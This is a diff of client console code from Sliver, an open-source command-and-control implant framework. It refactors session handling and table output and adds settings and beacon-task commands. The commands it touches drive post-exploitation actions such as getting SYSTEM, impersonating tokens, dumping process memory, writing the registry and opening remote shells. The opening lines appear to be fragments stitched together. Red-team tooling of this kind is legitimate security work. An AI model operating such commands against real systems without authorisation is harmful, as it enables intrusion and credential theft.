if err != nil {
t.Errorf("Listener failed to start %s", err)
func OperatorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if prelude.SessionMapper != nil {
con.PrintInfof("Connected to Operator at %s\n", prelude.SessionMapper.GetConfig().OperatorURL)
return
}
rr := httptest.NewRecorder()
handler := http.HandlerFunc(server.rsaKeyHandler)
handler.ServeHTTP(rr, req)
if status := rr.Code; status != http.StatusOK {
t.Errorf("handler returned wrong status code: got %v want %v", status, http.StatusOK)
}
con.PrintInfof("Not connected to any Operator server. Use `operator connect` to connect to one.")
}
+2 -2
View File
@@ -31,7 +31,7 @@ import (
func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var processName string = "Current Process"
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -42,7 +42,7 @@ func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
privs, err := con.Rpc.GetPrivs(context.Background(), &sliverpb.GetPrivsReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+2 -2
View File
@@ -28,7 +28,7 @@ import (
// GetSystemCmd - Windows only, attempt to get SYSTEM on the remote system
func GetSystemCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -38,7 +38,7 @@ func GetSystemCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.SpinUntil("Attempting to create a new sliver session as 'NT AUTHORITY\\SYSTEM'...", ctrl)
getsystemResp, err := con.Rpc.GetSystem(context.Background(), &clientpb.GetSystemReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Config: config,
HostingProcess: process,
})
+2 -2
View File
@@ -28,13 +28,13 @@ import (
// ImpersonateCmd - Windows only, impersonate a user token
func ImpersonateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
username := ctx.Args.String("username")
impResp, err := con.Rpc.Impersonate(context.Background(), &sliverpb.ImpersonateReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Username: username,
})
+2 -2
View File
@@ -28,7 +28,7 @@ import (
// MakeTokenCmd - Windows only, create a token using "valid" credentails
func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -45,7 +45,7 @@ func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.SpinUntil("Creating new logon session ...", ctrl)
makeToken, err := con.Rpc.MakeToken(context.Background(), &sliverpb.MakeTokenReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Username: username,
Domain: domain,
Password: password,
+2 -2
View File
@@ -28,12 +28,12 @@ import (
// RevToSelfCmd - Drop any impersonated tokens
func RevToSelfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
_, err := con.Rpc.RevToSelf(context.Background(), &sliverpb.RevToSelfReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+2 -2
View File
@@ -28,7 +28,7 @@ import (
// RunAsCmd - Run a command as another user on the remote system
func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -47,7 +47,7 @@ func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
runAsResp, err := con.Rpc.RunAs(context.Background(), &sliverpb.RunAsReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Username: username,
ProcessName: process,
Args: arguments,
+2 -2
View File
@@ -31,7 +31,7 @@ import (
// ProcdumpCmd - Dump the memory of a remote process
func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -55,7 +55,7 @@ func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl := make(chan bool)
con.SpinUntil("Dumping remote process memory ...", ctrl)
dump, err := con.Rpc.ProcessDump(context.Background(), &sliverpb.ProcessDumpReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Pid: int32(pid),
Timeout: int32(ctx.Flags.Int("timeout") - 1),
})
+4 -4
View File
@@ -46,7 +46,7 @@ var (
// PsCmd - List processes on the remote system
func PsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -56,7 +56,7 @@ func PsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ownerFilter := ctx.Flags.String("owner")
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
@@ -140,7 +140,7 @@ func printProcInfo(table *tabwriter.Writer, proc *commonpb.Process, cmdLine bool
if modifyColor, ok := knownProcs[proc.Executable]; ok {
color = modifyColor
}
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session != nil && proc.Pid == session.PID {
color = console.Green
}
@@ -170,7 +170,7 @@ func printProcInfo(table *tabwriter.Writer, proc *commonpb.Process, cmdLine bool
// GetPIDByName - Get a PID by name from the active session
func GetPIDByName(ctx *grumble.Context, name string, con *console.SliverConsoleClient) int {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return -1
+2 -2
View File
@@ -28,14 +28,14 @@ import (
// TerminateCmd - Terminate a process on the remote system
func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
pid := ctx.Args.Uint("pid")
terminated, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Pid: int32(pid),
Force: ctx.Flags.Bool("force"),
})
+2 -2
View File
@@ -29,7 +29,7 @@ import (
// RegCreateKeyCmd - Create a new Windows registry key
func RegCreateKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
session := con.ActiveTarget.GetSession()
if session == nil {
return
}
@@ -65,7 +65,7 @@ func RegCreateKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Path: finalPath,
Key: key,
Hostname: hostname,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+4 -4
View File
@@ -9,7 +9,7 @@ import (
)
func RegListSubKeysCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -22,7 +22,7 @@ func RegListSubKeysCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Hive: hive,
Hostname: hostname,
Path: path,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
@@ -43,7 +43,7 @@ func RegListSubKeysCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
func RegListValuesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -56,7 +56,7 @@ func RegListValuesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Hive: hive,
Hostname: hostname,
Path: regPath,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+2 -2
View File
@@ -76,7 +76,7 @@ func RegReadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
finalPath string
key string
)
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -117,7 +117,7 @@ func RegReadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Path: finalPath,
Key: key,
Hostname: hostname,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+2 -2
View File
@@ -32,7 +32,7 @@ import (
// RegWriteCmd - Write to a Windows registry key: registry write --hive HKCU --type dword "software\google\chrome\blbeacon\hello" 32
func RegWriteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -123,7 +123,7 @@ func RegWriteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
regWrite, err := con.Rpc.RegistryWrite(context.Background(), &sliverpb.RegistryWriteReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Hostname: hostname,
Hive: hive,
Path: finalPath,
+2 -2
View File
@@ -34,7 +34,7 @@ import (
// ScreenshotCmd - Take a screenshot of the remote system
func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -45,7 +45,7 @@ func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
screenshot, err := con.Rpc.Screenshot(context.Background(), &sliverpb.ScreenshotReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
+1 -1
View File
@@ -7,6 +7,6 @@ import (
// BackgroundCmd - Background the active session
func BackgroundCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.ActiveSession.Background()
con.ActiveTarget.Background()
con.PrintInfof("Background ...\n")
}
+20 -2
View File
@@ -1,5 +1,23 @@
package sessions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"errors"
@@ -14,7 +32,7 @@ import (
// KillCmd - Kill the active session (not to be confused with TerminateCmd)
func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
con.PrintWarnf("No active session\n")
return
@@ -33,7 +51,7 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
con.ActiveSession.Background()
con.ActiveTarget.Background()
}
func killSession(session *clientpb.Session, force bool, con *console.SliverConsoleClient) error {
+18
View File
@@ -1,5 +1,23 @@
package sessions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
+7 -5
View File
@@ -21,6 +21,7 @@ package sessions
import (
"context"
"regexp"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -30,7 +31,7 @@ import (
// SessionsReconfigCmd - Reconfigure metadata about a sessions
func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -51,11 +52,12 @@ func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
// Option to change the reconnect interval
poll := ctx.Flags.Int("poll")
oldSession := con.ActiveTarget.GetSession()
session, err := con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
SessionID: con.ActiveSession.Session.ID,
SessionID: oldSession.ID,
Name: name,
ReconnectInterval: int32(reconnect),
PollInterval: int32(poll),
ReconnectInterval: int64(reconnect) * int64(time.Second),
PollInterval: int64(poll) * int64(time.Second),
})
if err != nil {
@@ -63,5 +65,5 @@ func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
return
}
con.ActiveSession.Set(session)
con.ActiveTarget.Set(session, nil)
}
+38 -56
View File
@@ -19,18 +19,17 @@ package sessions
*/
import (
"bytes"
"context"
"fmt"
"sort"
"strings"
"text/tabwriter"
"time"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// SessionsCmd - Display/interact with sessions
@@ -48,7 +47,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if killAll {
con.ActiveSession.Background()
con.ActiveTarget.Background()
for _, session := range sessions.Sessions {
err := killSession(session, true, con)
if err != nil {
@@ -61,7 +60,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if clean {
con.ActiveSession.Background()
con.ActiveTarget.Background()
for _, session := range sessions.Sessions {
if session.IsDead {
err := killSession(session, true, con)
@@ -76,9 +75,9 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if kill != "" {
session := con.GetSession(kill)
activeSession := con.ActiveSession.Get()
activeSession := con.ActiveTarget.GetSession()
if activeSession != nil && session.ID == activeSession.ID {
con.ActiveSession.Background()
con.ActiveTarget.Background()
}
err := killSession(session, true, con)
if err != nil {
@@ -90,7 +89,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if interact != "" {
session := con.GetSession(interact)
if session != nil {
con.ActiveSession.Set(session)
con.ActiveTarget.Set(session, nil)
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
} else {
con.PrintErrorf("Invalid session name or session number: %s\n", interact)
@@ -101,54 +100,36 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
sessionsMap[session.ID] = session
}
if 0 < len(sessionsMap) {
printSessions(sessionsMap, con)
PrintSessions(sessionsMap, con)
} else {
con.PrintInfof("No sessions 🙁\n")
}
}
}
/*
So this method is a little more complex than you'd maybe think,
this is because Go's tabwriter aligns columns by counting bytes
and since we want to modify the color of the active sliver row
the number of bytes per row won't line up. So we render the table
into a buffer and note which row the active sliver is in. Then we
write each line to the term and insert the ANSI codes just before
we display the row.
*/
func printSessions(sessions map[uint32]*clientpb.Session, con *console.SliverConsoleClient) {
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
fmt.Fprintln(table, "ID\tName\tTransport\tRemote Address\tHostname\tUsername\tOperating System\tLast Check-in\tHealth\t")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("ID")),
strings.Repeat("=", len("Name")),
strings.Repeat("=", len("Transport")),
strings.Repeat("=", len("Remote Address")),
strings.Repeat("=", len("Hostname")),
strings.Repeat("=", len("Username")),
strings.Repeat("=", len("Operating System")),
strings.Repeat("=", len("Last Check-in")),
strings.Repeat("=", len("Health")),
)
// strings.Repeat("=", len("Burned")))
// Sort the keys because maps have a randomized order
var keys []int
for _, session := range sessions {
keys = append(keys, int(session.ID))
}
sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's
// PrintSessions - Print the current sessions
func PrintSessions(sessions map[uint32]*clientpb.Session, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Name",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Last Check-in",
"Health",
})
activeIndex := -1
for index, key := range keys {
session := sessions[uint32(key)]
if con.ActiveSession.Get() != nil && con.ActiveSession.Get().ID == session.ID {
index := 0
for _, session := range sessions {
if con.ActiveTarget.GetSession() != nil && con.ActiveTarget.GetSession().ID == session.ID {
activeIndex = index + 2 // Two lines for the headers
}
index++
var SessionHealth string
if session.IsDead {
@@ -160,8 +141,7 @@ func printSessions(sessions map[uint32]*clientpb.Session, con *console.SliverCon
if session.Burned {
burned = "🔥"
}
fmt.Fprintf(table, "%d\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
tw.AppendRow(table.Row{
session.ID,
session.Name,
session.Transport,
@@ -169,15 +149,16 @@ func printSessions(sessions map[uint32]*clientpb.Session, con *console.SliverCon
session.Hostname,
session.Username,
fmt.Sprintf("%s/%s", session.OS, session.Arch),
session.LastCheckin,
SessionHealth,
burned,
)
time.Unix(session.LastCheckin, 0).Format(time.RFC1123),
burned + SessionHealth,
})
}
table.Flush()
tw.SortBy([]table.SortBy{
{Name: "ID", Mode: table.Asc},
})
if activeIndex != -1 {
lines := strings.Split(outputBuf.String(), "\n")
lines := strings.Split(tw.Render(), "\n")
for lineNumber, line := range lines {
if len(line) == 0 {
continue
@@ -189,6 +170,7 @@ func printSessions(sessions map[uint32]*clientpb.Session, con *console.SliverCon
}
}
} else {
con.Printf(outputBuf.String())
con.Printf("%s\n", tw.Render())
}
}
-39
View File
@@ -1,39 +0,0 @@
package sessions
import (
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// UseCmd - Change the active session
func UseCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
sessionArg := ctx.Args.String("session")
if sessionArg != "" {
session := con.GetSession(sessionArg)
if session == nil {
con.PrintErrorf("Invalid session name or session number '%s'\n", ctx.Args.String("session"))
} else {
activate(session, con)
}
} else {
session, err := SelectSession(false, con)
if session != nil {
activate(session, con)
} else if err != nil {
switch err {
case ErrNoSessions:
con.PrintErrorf("No sessions available\n")
case ErrNoSelection:
con.PrintErrorf("No session selected\n")
default:
con.PrintErrorf("%s\n", err)
}
}
}
}
func activate(session *clientpb.Session, con *console.SliverConsoleClient) {
con.ActiveSession.Set(session)
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
}
+4
View File
@@ -0,0 +1,4 @@
Style
======
Defines terminal interface styles.
+39
View File
@@ -0,0 +1,39 @@
package settings
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// SettingsBeaconsAutoResultCmd - The client settings command
func SettingsBeaconsAutoResultCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.Settings.BeaconAutoResults = !con.Settings.BeaconAutoResults
con.PrintInfof("Beacon Auto Result = %v\n", con.Settings.BeaconAutoResults)
}
+62
View File
@@ -0,0 +1,62 @@
package settings
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// SettingsAutoAdultCmd - The client settings command
func SettingsAutoAdultCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.Settings.AutoAdult = !con.Settings.AutoAdult
con.PrintInfof("Auto Adult = %v\n", con.Settings.AutoAdult)
}
// IsUserAnAdult - This should be called for any dangerous (OPSEC-wise) functions
func IsUserAnAdult(con *console.SliverConsoleClient) bool {
if GetAutoAdult(con) {
return true
}
confirm := false
prompt := &survey.Confirm{Message: "This action is bad OPSEC, are you an adult?"}
survey.AskOne(prompt, &confirm, nil)
return confirm
}
// GetAutoAdult - Get the current auto adult setting
func GetAutoAdult(con *console.SliverConsoleClient) bool {
if con.Settings == nil {
con.Settings, _ = assets.LoadSettings()
}
if con.Settings != nil {
return con.Settings.AutoAdult
}
return false
}
+97
View File
@@ -0,0 +1,97 @@
package settings
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// SettingsCmd - The client settings command
func SettingsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
tw := table.NewWriter()
tw.SetStyle(GetTableStyle(con))
tw.AppendHeader(table.Row{"Name", "Value", "Description"})
tw.AppendRow(table.Row{"Tables", con.Settings.TableStyle, "Set the stylization of tables"})
tw.AppendRow(table.Row{"Auto Adult", con.Settings.AutoAdult, "Automatically accept OPSEC warnings"})
tw.AppendRow(table.Row{"Beacon Auto Results", con.Settings.BeaconAutoResults, "Automatically display beacon results when tasks complete"})
con.Printf("%s\n", tw.Render())
}
// SettingsTablesCmd - The client settings command
func SettingsTablesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
options := []string{}
for option := range tableStyles {
options = append(options, option)
}
style := ""
prompt := &survey.Select{
Message: "Choose a style:",
Options: options,
}
err = survey.AskOne(prompt, &style)
if err != nil {
con.PrintErrorf("No selection\n")
return
}
if _, ok := tableStyles[style]; ok {
con.Settings.TableStyle = style
} else {
con.PrintErrorf("Invalid style\n")
}
}
// SettingsSaveCmd - The client settings command
func SettingsSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
err = assets.SaveSettings(con.Settings)
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.PrintInfof("Settings saved to disk\n")
}
}
+94
View File
@@ -0,0 +1,94 @@
package settings
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/jedib0t/go-pretty/v6/text"
)
var (
tableStyles = map[string]table.Style{
// Sliver styles
SliverDefault.Name: SliverDefault,
// Go Pretty styles
table.StyleBold.Name: table.StyleBold,
table.StyleColoredBright.Name: table.StyleColoredBright,
table.StyleLight.Name: table.StyleLight,
table.StyleColoredDark.Name: table.StyleColoredDark,
table.StyleColoredBlackOnBlueWhite.Name: table.StyleColoredBlackOnBlueWhite,
}
SliverDefault = table.Style{
Name: "SliverDefault",
Box: table.BoxStyle{
BottomLeft: " ",
BottomRight: " ",
BottomSeparator: " ",
Left: " ",
LeftSeparator: " ",
MiddleHorizontal: "=",
MiddleSeparator: " ",
MiddleVertical: " ",
PaddingLeft: " ",
PaddingRight: " ",
Right: " ",
RightSeparator: " ",
TopLeft: " ",
TopRight: " ",
TopSeparator: " ",
UnfinishedRow: " ~~",
},
Color: table.ColorOptions{
IndexColumn: text.Colors{},
Footer: text.Colors{},
Header: text.Colors{},
Row: text.Colors{},
RowAlternate: text.Colors{},
},
Format: table.FormatOptions{
Footer: text.FormatDefault,
Header: text.FormatTitle,
Row: text.FormatDefault,
},
Options: table.Options{
DrawBorder: false,
SeparateColumns: true,
SeparateFooter: false,
SeparateHeader: true,
SeparateRows: false,
},
}
)
// GetTableStyle - Get the current table style
func GetTableStyle(con *console.SliverConsoleClient) table.Style {
if con.Settings == nil {
con.Settings, _ = assets.LoadSettings()
}
if con.Settings != nil {
if value, ok := tableStyles[con.Settings.TableStyle]; ok {
return value
}
}
return tableStyles[SliverDefault.Name]
}
+6 -5
View File
@@ -25,6 +25,7 @@ import (
"log"
"os"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -41,18 +42,18 @@ const (
// ShellCmd - Start an interactive shell on the remote system
func ShellCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
if !con.IsUserAnAdult() {
if !settings.IsUserAnAdult(con) {
return
}
shellPath := ctx.Flags.String("shell-path")
noPty := ctx.Flags.Bool("no-pty")
if con.ActiveSession.Get().OS != linux && con.ActiveSession.Get().OS != darwin {
if con.ActiveTarget.GetSession().OS != linux && con.ActiveTarget.GetSession().OS != darwin {
noPty = true // Sliver's PTYs are only supported on linux/darwin
}
runInteractive(ctx, shellPath, noPty, con)
@@ -61,7 +62,7 @@ func ShellCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *console.SliverConsoleClient) {
con.PrintInfof("Opening shell tunnel (EOF to exit) ...\n\n")
session := con.ActiveSession.Get()
session := con.ActiveTarget.GetSession()
if session == nil {
return
}
@@ -80,7 +81,7 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
tunnel := core.Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: shellPath,
EnablePTY: !noPty,
TunnelID: tunnel.ID,
+5
View File
@@ -0,0 +1,5 @@
Tasks
=======
Manage and interact with Beacon tasks
+91
View File
@@ -0,0 +1,91 @@
package tasks
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// TasksCmd - Manage beacon tasks
func TasksCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
beacon := con.ActiveTarget.GetBeaconInteractive()
if beacon == nil {
return
}
beaconTasks, err := con.Rpc.GetBeaconTasks(context.Background(), &clientpb.Beacon{ID: beacon.ID})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
PrintBeaconTasks(beaconTasks.Tasks, con)
}
// PrintBeaconTasks - Print beacon tasks
func PrintBeaconTasks(tasks []*clientpb.BeaconTask, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"State",
"Message Type",
"Created",
"Sent",
"Completed",
})
for _, task := range tasks {
sentAt := time.Unix(task.SentAt, 0).Format(time.RFC1123)
